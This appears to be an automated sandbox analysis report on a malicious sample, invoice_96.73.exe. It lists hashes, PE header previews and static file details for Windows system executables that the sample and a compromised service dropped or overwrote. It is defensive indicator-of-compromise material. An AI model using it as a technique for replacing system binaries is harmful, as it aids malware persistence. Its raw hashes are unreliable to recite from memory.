SHA-256:	39C588E940128285CFBBCF70925361112CCF626F78DE8F13C65D170C6E946915
SHA-512:	23EE62A4A769049B76C77FD4E37701D3D974DA2B293414FE277B2E9783E17C5DB5CF1A1642DB3CA939390782084FF6F971AC2CBB984EF9A9BA6D9FA536A9D9C3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........l_.............f.......f...............f.......f.......f.......f.......f......Rich....................PE..d...Q.[J..........".................<........................................P......~1............... ...............................................P.......@..........................................................................p............................text............................... ..`.data...P....0......................@....pdata.......@......................@..@.rsrc........P......................@..@.reloc.......`.......&..............@....[Jx...+.[J....+.[J....^.[J....^.[J......[J......[J......[J'.....[JG...+.[J......[Jq...+.[J......[J......[J............msvcrt.dll.NTDLL.DLL.API-MS-WIN-Service-Core-L1-1-0.dll.API-MS-WIN-Service-winsvc-L1-1-0.dll.API-MS-Win-Core-ErrorHandling-L1-1-0.dll.API-MS-Win-Core-LibraryLoader-L1-1-0.dll.API-MS-Wi

C:\Windows\System32\Msdtc\Trace\dtctrace.log

Process:	C:\Windows\System32\msdtc.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.2885420714790396
Encrypted:	false
SSDEEP:	12:/2lAwtvU07qF69Fq5C1qx6CzE5Z2+fqjF+:/Cdvj1V1qRiY+fC+
MD5:	EBA89C0AABCF9C08B085258BD4E1EC53
SHA1:	3883BBB39DEF0C7B91C90098B04894B6DFAEFB95
SHA-256:	2FB904639E10DDC2DAE1DB85275CF25ED3497F3909F2B0B3FD45012E33B7FB49
SHA-512:	74C786E5908B7C5506CBAD46A1320395D6EBD157EB4E945DF522F878DF957457104097628140ED767DE5E5D81EC4DAB9D4B8141A141E649959C62B34923DC452
Malicious:	false
Preview:	.@......................................................................................Wm...............@......................aa..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................9.mr.... .....P..\.A..........M.S.D.T.C._.T.R.A.C.E._.S.E.S.S.I.O.N...C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.M.S.D.t.c.\.t.r.a.c.e.\.d.t.c.t.r.a.c.e...l.o.g.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\SearchIndexer.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1173504
Entropy (8bit):	7.173665625934242
Encrypted:	false
SSDEEP:	24576:k9Bcju8+g/Gb4uzVg9N9JMlDlfjRiVuVsWt5MJMs:kQStg/Gb44gFIDRRAubt5M
MD5:	7E061EBDFE0521A35049E6D587FB7295
SHA1:	9A29AAFD3A8C2DE45BD4C415707A65840C049A0D
SHA-256:	9745F632916C36A2460D115D11DFFAA0CB98C4FEF7C8E95C44DD8064F51C97DE
SHA-512:	F02E6D27382159ACA41E03D6B0CCA6D8BBECEC3C6D8A804EDB9F50CE421FEF6EBFCCCACCE1D5A6136C139A583A2D32507B7C0AA16EDFBD92B6398B0E9BEBD7EC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........g~.F...F...F...O~..D...O~..O...O~..]...F...1...O~..^...O~......O~..G...O~..G...RichF...........................PE..d......M.........."..............................................................................................................................................m......................8...................................................t........................text............................... ..`.rdata..............................@..@.data...$(.......&..................@....pdata...m.......n..................@..@.rsrc................h..............@..@.reloc..............................@......Mx...2..M....%..M....2..M.......M.......M....2..M....2..M....%..M....)..M....z..M....Y..M.......M.......M............ADVAPI32.dll.ntdll.DLL.KERNEL32.dll.USER32.dll.msvcrt.dll.ole32.dll.OLEAUT32.dll.TQUERY.DLL.SHLWAPI.dll.MSSRCH.DLL.IMM32.dll............

C:\Windows\System32\VSSVC.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2180096
Entropy (8bit):	6.687257367542032
Encrypted:	false
SSDEEP:	49152:T4W+J/pHuR7n20mT4FE2LnwUxfvgFIDRRAubt5M:EsxgUf
MD5:	E35ACC5A7E387F3E224A1F35E9FFBE11
SHA1:	228A169C86642ADC20641A74C10F0D07215BAD91
SHA-256:	E5541C557F0CE94736DD8FF7927A16AB422EC395641B584348417227E923A5BF
SHA-512:	96085BC8C46E662D48FC72036988EB30DEB6A32903B0531BA968A79413EF3D4A31DCBDBF5D0354ED2FA5541CB756177E778AFC9AE7D43B8928645E25FD64B8BC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......69..rXj.rXj.rXj.{ ..pXj.{ ..[Xj.rXk..Yj.{ .nXj.{ ...Xj.{ .~Xj.{ ..sXj.{ ..sXj.RichrXj.........PE..d......L.........."......F...,................................................!......"".............. .......................................-.......@...N..............................................................................`............................text...PD.......F.................. ..`.data...(!...`.......L..............@....pdata...............b..............@..@.rsrc....N...@...P..................@..@.reloc...............T..............@...U..L.......L.......L.......L.......L....7..L.......L....h..L....,..L.......L$...0..L0...n..L=......L.......LH......LS......L`...i..Lk......Lv...q..L....3..L.......L.......L....\..L.......L.......L.......L............ADVAPI32.dll.ntdll.DLL.KERNEL32.dll.USER32.dll.msvcrt.dll.ATL.DLL.ole32.dll.SHLWAPI.dll.OLEAUT32

C:\Windows\System32\alg.exe

Process:	C:\Users\user\Desktop\invoice_96.73.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1577472
Entropy (8bit):	4.148166410307214
Encrypted:	false
SSDEEP:	12288:wLeYV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:wLeUVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	D51E3C5F1FB63103D04A4FDBBC56FEE7
SHA1:	692DF203C8DDF5357AF66600481815440D83E010
SHA-256:	6547261C1535DFBE5DD413D4F1DF924B9AD82B1A730D322F06E51810217E5931
SHA-512:	40C825B5F93F377B21802FA90BEB2EF35ECB7337B2ED0C424D3574D404A973A55B2C74ADBFD1F02C1FD3C87F0A854D6A0A89D351BBB922B27D5EC18A6FF5E6FF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I..&.dxu.dxu.dxu...u.dxu...u.dxu...u.dxu.dyuudxu...u.dxu...u.dxu...u.dxu...u.dxuRich.dxu........................PE..d.....[J.........."..........D...............................................@...................... ......................................,........0....... ......................P................................................................................text............................... ..`.data...............................@....pdata....... ......................@..@.rsrc........0... ..................@..@.reloc.......P.......2..............@...k.[Jh.....[Ju...+.[J......[J....+.[J....p.[J......[J......[J......[J....+.[J......[J......[J............ADVAPI32.dll.KERNEL32.dll.NTDLL.DLL.msvcrt.dll.ATL.DLL.WS2_32.dll.ole32.dll.OLEAUT32.dll.WSOCK32.dll.MSWSOCK.DLL................................................................................

C:\Windows\System32\dllhost.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508352
Entropy (8bit):	3.9945760567474156
Encrypted:	false
SSDEEP:	12288:GV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:WVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	0F5B09C2B87A9F58233F4C265F891275
SHA1:	73AFF2EC53F77218DD0BFAD179868D15A76448BA
SHA-256:	9EE7032DB4615C8B62DC901D37D4D1F29A00FA61290202790EEA5FD6B366AD7C
SHA-512:	A131F258FF1A08A9E8AE0C76FA8CD3E859401EA55978AA1BD7CE46140F717FE0BEE48E2F18B746A9A9C89CAF9474E65855AF0CAE3B2A4905A816566BF376E57E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z...z...z.......z.....z.....z...{...z.......z.....z.....z.....z.Rich..z.................PE..d...T.[J..........".................L........................................P.......`.......................................................!..d....P.......@......................p...8.......................................\.... ..8............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc........P....... ..............@..@.reloc.......`.......$..............@.....[J0.....[J=...+.[JH.....[JR...+.[JH...........KERNEL32.dll.msvcrt.dll.NTDLL.DLL.ole32.dll.............................................................................................................................................................................

C:\Windows\System32\ieetwcollector.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1612800
Entropy (8bit):	4.210831825475154
Encrypted:	false
SSDEEP:	12288:XERpPV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:6p9Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	475B5B41F2CFABE32500D1A9602C2A3E
SHA1:	C71BC97C9DEFB4A3958CE628E460C11AC74F4801
SHA-256:	4293F6F72EBC40C6E4C5E3D358D092BF8556B1291489CC2996DFB5AE5B2244B9
SHA-512:	F93926EF23DEA35E533FEE3CAE6F29EC422AA02B79AC58AA737BEE37E66C6F091DC8154E4C6F75C10EF055AB11F5BB2EF998A6A2324273CF2105EC539B79C6E3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A.SK a.K a.K a....A a...." a....x a....@ a.K `.. a....G a....J a....J a.RichK a.........................PE..d....p.X.........."......p...n.................@....................................W].... .......... ......................................P...x...............\....................................................?..................H............................text...ho.......p.................. ..`.data....8...........t..............@....pdata..\...........................@..@.idata..............................@..@.rsrc...............................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Windows\System32\msdtc.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1639936
Entropy (8bit):	4.188266282630206
Encrypted:	false
SSDEEP:	12288:Oky+V3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:Zy+Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	8A39539F9626492BC25BBEF9E516EC26
SHA1:	30A72514FFE2EDBDD8637884AF0E106955C5437B
SHA-256:	B85BE38107062EA87F118A93AB23401EC3E949BB4B9CC6CEC09BC567A3144DE6
SHA-512:	78CA0E9E1DB2CCA8ADC717FD2D7F1908632C7C2225A2624BC89A5335888C4F5F111AC3D1E584664618A73527B1B1890BE6F824A591DB4BD8DB78C3E84F95D5CC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........bUUJ.;.J.;.J.;.C{..H.;.C{..[.;.J.:...;.C{..^.;.C{..].;.C{..I.;.C{..K.;.C{..K.;.RichJ.;.........PE..d...Z.[J.........."............................@.............................`......;f...............@.................................................px......D...................P................................................................................text...z........................... ..`.data...x(..........................@....pdata..D...........................@..@.rsrc...px.......z..................@..@.reloc.......p.......&..............@.....[JX...+.[Je.....[Jo.....[Jy...+.[Je.....[J....+.[Je.....[J......[J....k.[J............KERNEL32.dll.NTDLL.DLL.ole32.dll.msvcrt.dll.MSDTCTM.dll.VERSION.dll.USER32.dll.ADVAPI32.dll.....................................................................................................................................

C:\Windows\System32\msiexec.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1625600
Entropy (8bit):	4.2224518673321185
Encrypted:	false
SSDEEP:	12288:y81ONGM1cV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:H41gVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	2568F4F643C82673898904F584A264BA
SHA1:	79519E3BAA9B9073A1819D8ECF33C623681DCCD7
SHA-256:	2D21E0A47C95FA5A2F8B0D882F6D6AF25A4103BD421631D78CC6A3C1166477B0
SHA-512:	82352C84D08C4F7B3302ADFBB10F90DDC5C64800D0AA8BF2FCC815D9BD9F7BA6AE957EFA89981D7E5962AB2F6DA6DBDBCDE0821B89B275CDE701F08478725D88
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.B.:.,.:.,.:.,.3...8.,.3...*.,.3...5.,.:.-...,.3...{.,.3...8.,...R.;.,.3...;.,.3...;.,.Rich:.,.........PE..d....H#X..........".................8t....................................... ....................... ......................................X........... ...............................................................................P............................text............................... ..`.data....G.......2..................@....pdata..............................@..@.rsrc... ........ ..................@..@.reloc.......0......................@...................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\snmptrap.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1512960
Entropy (8bit):	4.011174800223528
Encrypted:	false
SSDEEP:	12288:SPV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:S9Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	2A428B8B0253AA1D839ED564BA512230
SHA1:	F609022F2A47AF21EFC6FA08AA9798CA6FBB5D7C
SHA-256:	9F95CC146CC7FBE17FD95FF7D61AA7F319EE12624FD54B3976D17FC5D2AD9DF1
SHA-512:	14600D65A165E02438413CFD04E66C4D85207ADF93E2C7D1DC3B35E439AC5F4D37ADD5844E97B910AADBCFF23EAAF7DABAFC66EAAEAF4C67D7DFEF59B4A5BC1A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................q.......`.......f...............v.......\|.......a.......d.....Rich....................PE..d.....[J.........."......&...........&.......................................`.......0............... ......................................$...d....`.......P..................................................................t.......`............................text....%.......&.................. ..`.data........@.......*..............@....pdata.......P.......,..............@..@.rsrc........`......................@..@.reloc.......p.......6..............@...k.[J8.....[JE...+.[JR.....[J\...+.[JR.....[Jg...........ADVAPI32.dll.KERNEL32.dll.NTDLL.DLL.msvcrt.dll.WS2_32.dll...............................................................................................................................................................................................

C:\Windows\System32\sppsvc.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4106240
Entropy (8bit):	7.320766799638362
Encrypted:	false
SSDEEP:	49152:aadpFZx1nkQoqvUbvgXELEnAR0gXV/XB+7nZE1GhnuFnNeNMWo8CWgiV5omI05IX:RFZxeecao3yudFnN0DHIesUf
MD5:	1BFA3EDF35211FF6EEDA3F3D010CF0F6
SHA1:	1B034FD9E4E2D2DD100C43714BD0B403FDE7BC55
SHA-256:	FAF7A8737727328CAF5860FE6EC5D5BB85C1AA23B9E5391C24DD1D7AF45AB572
SHA-512:	A58422471991C9627107643716C82E58A0467606CE21B4DCB0C9F52D689ADDA1797B7647AB3B91F8D3B7BE7EEB4AB41166C534C6F810DA18C1CECD5ECB85B47B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%^..a?u^a?u^a?u^F..^c?u^hG.^e?u^hG.^.?u^hG.^n?u^a?t^&>u^hG.^6?u^hG.^T?u^F..^`?u^hG.^`?u^hG.^`?u^hG.^`?u^Richa?u^........................PE..d...d..L..........".......1.....................................CS P..........>.......?...............................................0.l....0.......5..%....4.<...................<.0.8...............................................0............................text...x.1.......1................. ..`.data....x...01..z..."1.............@....pdata..<.....4.......4.............@..@.rsrc....%....5..&....5.............@..@.reloc........5.......5.............@...U..LP......L]......Lg......L]...7..Lt......L]...n..L.......L]...,..L............ADVAPI32.dll.ntdll.DLL.KERNEL32.dll.msvcrt.dll.RPCRT4.dll.ole32.dll.............................................................................................................................

C:\Windows\System32\vds.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2029568
Entropy (8bit):	4.790645850085516
Encrypted:	false
SSDEEP:	24576:LvMgzNciyYe13kvoUGVg9N9JMlDlfjRiVuVsWt5MJMs:bcibeUoUCgFIDRRAubt5M
MD5:	CC2DA4A13C382DA8674052AB5005C252
SHA1:	2F75BD4F4FE4CF5BA3A0C23D76C396A25EC87D76
SHA-256:	4993E48087833157D2C34E79357415B7BBEB955AE832EE3E3A5BD9EBD56026C4
SHA-512:	B65E1CE94E1F9A83A5554CC95CC30220B3785B84EFBA004D4C88DA27D170901A16B6EB760F1C72541C366B5D7D059C6D7DD77AB8ADEB40EABC9C54F415517234
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................................................................................Rich...........................PE..d... ..L.........."..........P......lT.......................................@.......,............... ...................................#.....D....@..........."..................P...........................................d...................................text............................... ..`.data...x...........................@....pdata...".......$..................@..@.rsrc........@......................@..@.reloc.......P......................@......L ......L+...7..L5......L+...h..L@......L+......LH......Li......L.......L.......L.......L+......L.......L.......L;......Ld......L.......L.......L.......L.......L+......L.......L!......L+......LB......Le......L.......L.......L.......L.......L#...\..L0...5..L=......LJ......LV...........

C:\Windows\System32\wbem\WmiApSrv.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1696768
Entropy (8bit):	4.315210133032662
Encrypted:	false
SSDEEP:	24576:R/UpJVupkVg9N9JMlDlfjRiVuVsWt5MJMs:RU0pkgFIDRRAubt5M
MD5:	BB516AD00A572BD36D65033D5A6DA5D2
SHA1:	C6A37EB9185F8E9C0DE17817DA0655ECDD1A137A
SHA-256:	B0D1CFC84983DEBFE0AD52063DA1DA61497815C43A416406D75163E95BA005FA
SHA-512:	0A03686CFED7BE7C13C9EB464B1B6B50CA6DD74B830E4F04341E71931422A5E470743DA2B93A1D6D5507461BE3703A480781F313DF9358ACC9E0E959F1427765
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-...~...~...~...~...~......~......~......~......~...~...~......~......~.o~...~......~Rich...~........PE..d....-JX.........."..........N......0..........@............................. ............ .......... .................................@%..0........ .. ...............................8...........................P............... ................................text...Z........................... ..`.rdata..............................@..@.data...............................@....pdata........... ..................@..@.rsrc... .... ......................@..@.reloc.......0......................@...................................................................................................................................................................................................................................................................

C:\Windows\System32\wbengine.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2083328
Entropy (8bit):	7.086602580064013
Encrypted:	false
SSDEEP:	49152:7LbYI4I0bVKBUhx8CRSrzQ8vbeKgSRpXxmDYeQeaUx7qEaYZgFIDRRAubt5M:TYZkBU6ZvCK/phm8eQN82Uf
MD5:	B9B616B65A90E396A161A24A8A456884
SHA1:	BD17E97CFACEB35FACA77FC63D9502D1968FEE0E
SHA-256:	B20F84651BEC2A01953D66A43A555500E363B892EF71FB635FB7D66FA0100145
SHA-512:	D608E1DAA5AC077496B0546B9711779BAF8137C1EB7E210BDB47720C6F3E9DAB2BA9CFF2787837AC0F051BF1E4DFCF1681D9B252F57CB2B5C6056EB1768CCF15
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8..\|...\|...\|...u.4.~...u.%.w...u.2.c...\|...~..u.".e...u.+.....u.3.}...u.5.}...u.0.}...Rich\|...........................PE..d...Q..L.........."......8..........H........................................ ......t .............. ...............................B......X...@...............................................................................t....................................text....6.......8.................. ..`.data....-...P.......>..............@....pdata...............L..............@..@.rsrc...............................@..@.reloc....... ......................@...U..L.......L.......L.......L.......L....7..L.......L.......L....,..L....0..L....n..L.......L.......L.......L.......L)......L4...1..LA......LM......LX...q..Le...........ADVAPI32.dll.ntdll.DLL.KERNEL32.dll.USER32.dll.msvcrt.dll.ole32.dll.OLEAUT32.dll.RPCRT4.dll.VSSAPI.DLL.SETUPAPI.dll.NETA

C:\Windows\ehome\ehrecvr.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1276416
Entropy (8bit):	6.993606629682265
Encrypted:	false
SSDEEP:	24576:rGne3OZEIOLMCldIgbZVg9N9JMlDlfjRiVuVsWt5MJMs:xeZizdIgbjgFIDRRAubt5M
MD5:	22DA4B53195377BBE2A2460989C3D203
SHA1:	E20761786A4FB40EF1D483EB7964F8A6C080E0C7
SHA-256:	18A0332DA30D012BC06D16A5373EA9A2625D0095999181B1D8070181922FF7D6
SHA-512:	A6B806C3B9FAA3D6DB0B68D1A983498DDBFDB3AF1E3E99FABAD12965D62B05B4F0CB7FCE87A8DD37CBDC8DBAF142ED71E60836A9D2703811C8CC0DA0EB499C2C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X..9...9...9...A8..9...A)..9...A>..9...9...8...A...9...A'..9...A?..9...A9..9...A<..9..Rich.9..........PE..d......L..........".................4G.........@....................................A<............... ..............................dm......do..........`....`...K...................'..8............................................0..p............................text...h........................... ..`.rdata.......0......................@..@.data...l....@.......(..............@....pdata...K...`...L...:..............@..@.rsrc...`...........................@..@.reloc..............................@...U..Lx......L.......L.......L....7..L.......L....,..L....0..L.......L.......L.......L.......L.......L....................ADVAPI32.dll.KERNEL32.dll.NTDLL.DLL.USER32.dll.msvcrt.dll.ole32.dll.OLEAUT32.dll.SHLWAPI.dll.VERSION.dll.ehTrace.dll.SHELL32.dll.slc.dll........

C:\Windows\ehome\ehsched.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1625600
Entropy (8bit):	4.203355634797232
Encrypted:	false
SSDEEP:	12288:wwXAwhzV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:rQwh5Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	C0B1AC1980E0EE5E641EA4C250791D87
SHA1:	92BAF4E87A29EC1CA026E1F81F2E9D07A923DA6A
SHA-256:	BD9641A049AD1A823DA8713A34D0D4310163B6F42ACDEC233040465008ED96C9
SHA-512:	6ED1955FA30634C048C6A3D6875BF5B3B2D572828FDD9960B5E59F8D237A9BA5E7643DA65A83F6BF43BF8BC9A821E7ED334964E1F332A3F0249A8D596C36D318
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......... Z..N...N...N.......N.......N.......N...O.u.N.......N.......N.......N.......N.Rich..N.........................PE..d...5.[J..........".................L?.........@............................. ......\|................ .................................................p............................+..8............................................0...............................text...l........................... ..`.rdata.......0....... ..............@..@.data...............................@....pdata..............................@..@.rsrc...p...........................@..@.reloc.......0......................@...k.[JP.....[J]...+.[Jj.....[Jt.....[J....+.[Jj.....[J......[J....................ADVAPI32.dll.KERNEL32.dll.NTDLL.DLL.USER32.dll.msvcrt.dll.ole32.dll.OLEAUT32.dll.slc.dll........................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.4930840408824
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	invoice_96.73.exe
File size:	1'799'680 bytes
MD5:	0ad46265c37a53172d0658e862699a0e
SHA1:	82a738aeecee1392fcbb46a6ebceb367790e4831
SHA256:	04bd713b045d145c032e88c3f122e92565b3647e016367e29987c9afc2666d04
SHA512:	5e8e026dbd9a1c2f2c056010722e22a4be154eb46e5e5625117543a08d2fa4c4472c3b1c9e2807cc19cabc21993d745a76f6dab900e63ba970b5b9bf3bdf1d2d
SSDEEP:	24576:7tb20pOaCqT5TBWgNQ7akrR8kGeN5QRY+Dbjkf256AkVg9N9JMlDlfjRiVuVsWtK:4vg5tQ7akrekGqEvd5kgFIDRRAubt5M
TLSH:	D985F11373DE83A1C3B25273BA267741AE7F782506A1F56B2FD4093DEC60122525EB63
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..............'.a.....H.k.....H.h.....H.i......}%......}5...............~.......k.......o.......1.......j.....Rich...........

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x425f74
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x67470F67 [Wed Nov 27 12:24:07 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3d95adbf13bbe79dc24dccb401c12091

Entrypoint Preview

Instruction
call 00007FA32CD5718Fh
jmp 00007FA32CD4A1A4h
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FA32CD4A32Ah
cmp edi, eax
jc 00007FA32CD4A68Eh
bt dword ptr [004C0158h], 01h
jnc 00007FA32CD4A329h
rep movsb
jmp 00007FA32CD4A63Ch
cmp ecx, 00000080h
jc 00007FA32CD4A4F4h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FA32CD4A330h
bt dword ptr [004BA370h], 01h
jc 00007FA32CD4A800h
bt dword ptr [004C0158h], 00000000h
jnc 00007FA32CD4A4CDh
test edi, 00000003h
jne 00007FA32CD4A4DEh
test esi, 00000003h
jne 00007FA32CD4A4BDh
bt edi, 02h
jnc 00007FA32CD4A32Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FA32CD4A333h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FA32CD4A385h
bt esi, 03h
jnc 00007FA32CD4A3D8h
movdqa xmm1, dqword ptr [esi+00h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2012 UPD4 build 61030
[RES] VS2012 UPD4 build 61030
[LNK] VS2012 UPD4 build 61030

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb7004	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc4000	0x60be0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8d8d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb2730	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8d000	0x860	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8b54f	0x8b600	b92b1482df7de0712da080eaf44fb490	False	0.5699516535874439	data	6.680433526828655	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8d000	0x2cc42	0x2ce00	827ffd24759e8e420890ecf164be989e	False	0.330464397632312	data	5.770192333189168	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xba000	0x9d54	0x6200	e0a519f8e3a35fae0d9c2cfd5a4bacfc	False	0.16402264030612246	data	2.002691099965349	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc4000	0x60be0	0x60c00	a9c5e6f80a5245cdcf308d90e1a5a77d	False	0.9326651324289406	data	7.90341452865778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x125000	0x99000	0x98000	e198d289e42fb32f681b32c20a88ce36	False	0.9548998380962171	data	7.876658513199357	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc45a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc46d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
